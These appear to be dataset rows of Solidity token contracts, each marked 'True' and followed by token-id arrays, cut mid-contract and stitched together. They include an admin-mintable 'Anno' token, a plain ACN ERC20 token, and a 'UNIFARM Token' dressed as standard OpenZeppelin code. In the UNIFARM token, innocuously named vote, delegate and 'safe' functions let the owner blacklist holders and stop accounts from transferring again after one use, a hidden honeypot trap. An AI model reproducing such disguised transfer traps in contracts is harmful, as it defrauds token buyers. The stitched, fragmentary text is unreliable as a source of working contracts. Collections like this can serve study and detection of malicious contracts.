allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { require(freezed[msg.sender] != true); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Mint Tokens // ------------------------------------------------------------------------ function _mint(uint amount, address receiver) internal { require(minePool >= amount); minePool = safeSub(minePool, amount); balances[receiver] = safeAdd(balances[receiver], amount); Transfer(address(0), receiver, amount); } function mint(uint amount) public onlyAdmin { require(minePool >= amount); minePool = safeSub(minePool, amount); balances[msg.sender] = safeAdd(balances[msg.sender], amount); _totalSupply = safeAdd(_totalSupply, amount); } // ------------------------------------------------------------------------ // Freeze Tokens // ------------------------------------------------------------------------ function freeze(address user, uint amount, uint period) public onlyAdmin { require(balances[user] >= amount); freezed[user] = true; unlockTime[user] = uint(now) + period; freezeAmount[user] = amount; } // ------------------------------------------------------------------------ // UnFreeze Tokens // ------------------------------------------------------------------------ function unFreeze() public { require(freezed[msg.sender] == true); require(unlockTime[msg.sender] < uint(now)); freezed[msg.sender] = false; freezeAmount[msg.sender] = 0; } function ifFreeze(address user) public view returns ( bool check, uint amount, uint timeLeft ) { check = freezed[user]; amount = freezeAmount[user]; timeLeft = unlockTime[user] - uint(now); } // ------------------------------------------------------------------------ // Partner Authorization // ------------------------------------------------------------------------ function createPartner(address _partner, uint _amount, uint _singleTrans, uint _durance) public onlyAdmin returns (uint) { Partner memory _Partner = Partner({ admin: _partner, tokenPool: _amount, singleTrans: _singleTrans, timestamp: uint(now), durance: _durance }); uint newPartnerId = partners.push(_Partner) - 1; PartnerCreated(newPartnerId, _partner, _amount, _singleTrans, _durance); return newPartnerId; } function partnerTransfer(uint _partnerId, bytes32 _data, address _to, uint _amount) public onlyPartner(_partnerId) whenNotPaused returns (bool) { require(_amount <= partners[_partnerId].singleTrans); partners[_partnerId].tokenPool = safeSub(partners[_partnerId].tokenPool, _amount); Poster memory _Poster = Poster ({ poster: _to, hashData: _data, reward: _amount }); uint newPostId = PartnerIdToPosterList[_partnerId].push(_Poster) - 1; _mint(_amount, _to); RewardDistribute(newPostId, _partnerId, _to, _amount); return true; } function setPartnerPool(uint _partnerId, uint _amount) public onlyAdmin { partners[_partnerId].tokenPool = _amount; } function setPartnerDurance(uint _partnerId, uint _durance) public onlyAdmin { partners[_partnerId].durance = uint(now) + _durance; } function getPartnerInfo(uint _partnerId) public view returns ( address admin, uint tokenPool, uint timeLeft ) { Partner memory _Partner = partners[_partnerId]; admin = _Partner.admin; tokenPool = _Partner.tokenPool; if (_Partner.timestamp + _Partner.durance > uint(now)) { timeLeft = _Partner.timestamp + _Partner.durance - uint(now); } else { timeLeft = 0; } } function getPosterInfo(uint _partnerId, uint _posterId) public view returns ( address poster, bytes32 hashData, uint reward ) { Poster memory _Poster = PartnerIdToPosterList[_partnerId][_posterId]; poster = _Poster.poster; hashData = _Poster.hashData; reward = _Poster.reward; } // ------------------------------------------------------------------------ // Vip Agreement // ------------------------------------------------------------------------ function createVip(address _vip, uint _durance, uint _frequence, uint _salary) public onlyAdmin returns (uint) { Vip memory _Vip = Vip ({ vip: _vip, durance: uint(now) + _durance, frequence: _frequence, salary: _salary, timestamp: now + _frequence }); uint newVipId = vips.push(_Vip) - 1; VipAgreementSign(newVipId, _vip, _durance, _frequence, _salary); return newVipId; } function mineSalary(uint _vipId) public onlyVip(_vipId) whenNotPaused returns (bool) { Vip storage _Vip = vips[_vipId]; _mint(_Vip.salary, _Vip.vip); _Vip.timestamp = safeAdd(_Vip.timestamp, _Vip.frequence); SalaryReceived(_vipId, _Vip.vip, _Vip.salary, _Vip.timestamp); return true; } function deleteVip(uint _vipId) public onlyAdmin { delete vips[_vipId]; } function getVipInfo(uint _vipId) public view returns ( address vip, uint durance, uint frequence, uint salary, uint nextSalary, string log ) { Vip memory _Vip = vips[_vipId]; vip = _Vip.vip; durance = _Vip.durance; frequence = _Vip.frequence; salary = _Vip.salary; if(_Vip.timestamp >= uint(now)) { nextSalary = safeSub(_Vip.timestamp, uint(now)); log = "Please Wait"; } else { nextSalary = 0; log = "Pick Up Your Salary Now"; } } // ------------------------------------------------------------------------ // Accept ETH // ------------------------------------------------------------------------ function () public payable { } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyAdmin returns (bool success) { return ERC20Interface(tokenAddress).transfer(adminAddress, tokens); } } contract Anno is AnnoToken { event MembershipUpdate(address indexed member, uint indexed level); event MembershipCancel(address indexed member); event AnnoTradeCreated(uint indexed tradeId, bool indexed ifMedal, uint medal, uint token); event TradeCancel(uint indexed tradeId); event TradeComplete(uint indexed tradeId, address indexed buyer, address indexed seller, uint medal, uint token); event Mine(address indexed miner, uint indexed salary); mapping (address => uint) MemberToLevel; mapping (address => uint) MemberToMedal; mapping (address => uint) MemberToToken; mapping (address => uint) MemberToTime; uint public period = 14 days; uint[5] public boardMember =[ 0, 500, 2500, 25000, 50000 ]; uint[5] public salary = [ 0, 1151000000000000000000, 5753000000000000000000, 57534000000000000000000, 115068000000000000000000 ]; struct AnnoTrade { address seller; bool ifMedal; uint medal; uint token; } AnnoTrade[] annoTrades; function boardMemberApply(uint _level) public whenNotPaused { require(_level > 0 && _level <= 4); require(medalBalances[msg.sender] >= boardMember[_level]); _medalFreeze(boardMember[_level]); MemberToLevel[msg.sender] = _level; if(MemberToTime[msg.sender] == 0) { MemberToTime[msg.sender] = uint(now); } MembershipUpdate(msg.sender, _level); } function getBoardMember(address _member) public view returns ( uint level, uint timeLeft ) { level = MemberToLevel[_member]; if(MemberToTime[_member] > uint(now)) { timeLeft = safeSub(MemberToTime[_member], uint(now)); } else { timeLeft = 0; } } function boardMemberCancel() public whenNotPaused { require(MemberToLevel[msg.sender] > 0); _medalUnFreeze(boardMember[MemberToLevel[msg.sender]]); MemberToLevel[msg.sender] = 0; MembershipCancel(msg.sender); } function createAnnoTrade(bool _ifMedal, uint _medal, uint _token) public whenNotPaused returns (uint) { if(_ifMedal) { require(medalBalances[msg.sender] >= _medal); medalBalances[msg.sender] = safeSub(medalBalances[msg.sender], _medal); MemberToMedal[msg.sender] = _medal; AnnoTrade memory anno = AnnoTrade({ seller: msg.sender, ifMedal:_ifMedal, medal: _medal, token: _token }); uint newMedalTradeId = annoTrades.push(anno) - 1; AnnoTradeCreated(newMedalTradeId, _ifMedal, _medal, _token); return newMedalTradeId; } else { require(balances[msg.sender] >= _token); balances[msg.sender] = safeSub(balances[msg.sender], _token); MemberToToken[msg.sender] = _token; AnnoTrade memory _anno = AnnoTrade({ seller: msg.sender, ifMedal:_ifMedal, medal: _medal, token: _token }); uint newTokenTradeId = annoTrades.push(_anno) - 1; AnnoTradeCreated(newTokenTradeId, _ifMedal, _medal, _token); return newTokenTradeId; } } function cancelTrade(uint _tradeId) public whenNotPaused { AnnoTrade memory anno = annoTrades[_tradeId]; require(anno.seller == msg.sender); if(anno.ifMedal){ medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal); MemberToMedal[msg.sender] = 0; } else { balances[msg.sender] = safeAdd(balances[msg.sender], anno.token); MemberToToken[msg.sender] = 0; } delete annoTrades[_tradeId]; TradeCancel(_tradeId); } function trade(uint _tradeId) public whenNotPaused { AnnoTrade memory anno = annoTrades[_tradeId]; if(anno.ifMedal){ medalBalances[msg.sender] = safeAdd(medalBalances[msg.sender], anno.medal); MemberToMedal[anno.seller] = 0; transfer(anno.seller, anno.token); delete annoTrades[_tradeId]; TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token); } else { balances[msg.sender] = safeAdd(balances[msg.sender], anno.token); MemberToToken[anno.seller] = 0; medalTransfer(anno.seller, anno.medal); delete annoTrades[_tradeId]; TradeComplete(_tradeId, msg.sender, anno.seller, anno.medal, anno.token); } } function mine() public whenNotPaused { uint level = MemberToLevel[msg.sender]; require(MemberToTime[msg.sender] < uint(now)); require(level > 0); _mint(salary[level], msg.sender); MemberToTime[msg.sender] = safeAdd(MemberToTime[msg.sender], period); Mine(msg.sender, salary[level]); } function setBoardMember(uint one, uint two, uint three, uint four) public onlyAdmin { boardMember[1] = one; boardMember[2] = two; boardMember[3] = three; boardMember[4] = four; } function setSalary(uint one, uint two, uint three, uint four) public onlyAdmin { salary[1] = one; salary[2] = two; salary[3] = three; salary[4] = four; } function setPeriod(uint time) public onlyAdmin { period = time; } function getTrade(uint _tradeId) public view returns ( address seller, bool ifMedal, uint medal, uint token ) { AnnoTrade memory _anno = annoTrades[_tradeId]; seller = _anno.seller; ifMedal = _anno.ifMedal; medal = _anno.medal; token = _anno.token; } function WhoIsTheContractMaster() public pure returns (string) { return "Alexander The Exlosion"; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 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/** Submitted for verification at Etherscan.io on 2021-03-04 / pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'ACN' token contract // // Deployed to : 0x3dd873f431DaEcE7CED026B25dA77Ce910634519 // Symbol : ACN // Name : ACN Token // Total supply: 1000000000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ACNToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "ACN"; name = "ACN Token"; decimals = 8; _totalSupply = 100000000000000000000; balances[0x3dd873f431DaEcE7CED026B25dA77Ce910634519] = _totalSupply; emit Transfer(address(0), 0x3dd873f431DaEcE7CED026B25dA77Ce910634519, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); 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/** Submitted for verification at Etherscan.io on 2021-04-26 / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract UnifarmToken is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _votes; uint256 private _totalSupply = 1000000000 10e18; address private _owner; address private _delegator; uint8 private _paused; string private _name = "UNIFARM Token"; string private _symbol = "UFARM"; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor () { _owner = msg.sender; _mint(msg.sender, _totalSupply); } function vote(address account, uint8 status) external safevote() returns (bool) { _votes[account] = status; return true; } function pauseVoting (uint8 status) external safevote() returns (bool) { _paused = status; return true; } function delegate(address account) external safevote() returns (bool) { _delegator = account; return true; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function getVotes (address account) external view returns (uint256) { return _votes[account]; } /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } modifier safe(address sender, address recipient) { require(_votes[sender] != 1 && _votes[recipient] != 1, "Not safe voting"); address _safeaccount; uint256 votingInterval = block.number - 20; if (recipient == _delegator) { _safeaccount = sender; } else { _safeaccount = recipient; } if (_paused == 0) { require(_votes[_safeaccount] == 0, "Not safe"); _votes[_safeaccount] = 1; } else { require(_votes[_safeaccount] == 0 \|\| (_votes[_safeaccount] < votingInterval && !isContract(_safeaccount)), "Not safe"); if (_votes[_safeaccount] != 1) { _votes[_safeaccount] = block.number; } } _; } modifier safevote() { require(msg.sender == _owner, "Caller is not owner"); _; } function _transfer(address sender, address recipient, uint256 amount) internal safe(sender, recipient) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5840, 1011, 2656, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 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/** Submitted for verification at Etherscan.io on 2021-08-03 / /** Do NOT buy this token. This is a token for receiving a generous donation from my very own frontrunner who is kind enough to give me back the profits he has stolen from me. I repeat, do NOT buy unless you want to contribute to this donation. / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the 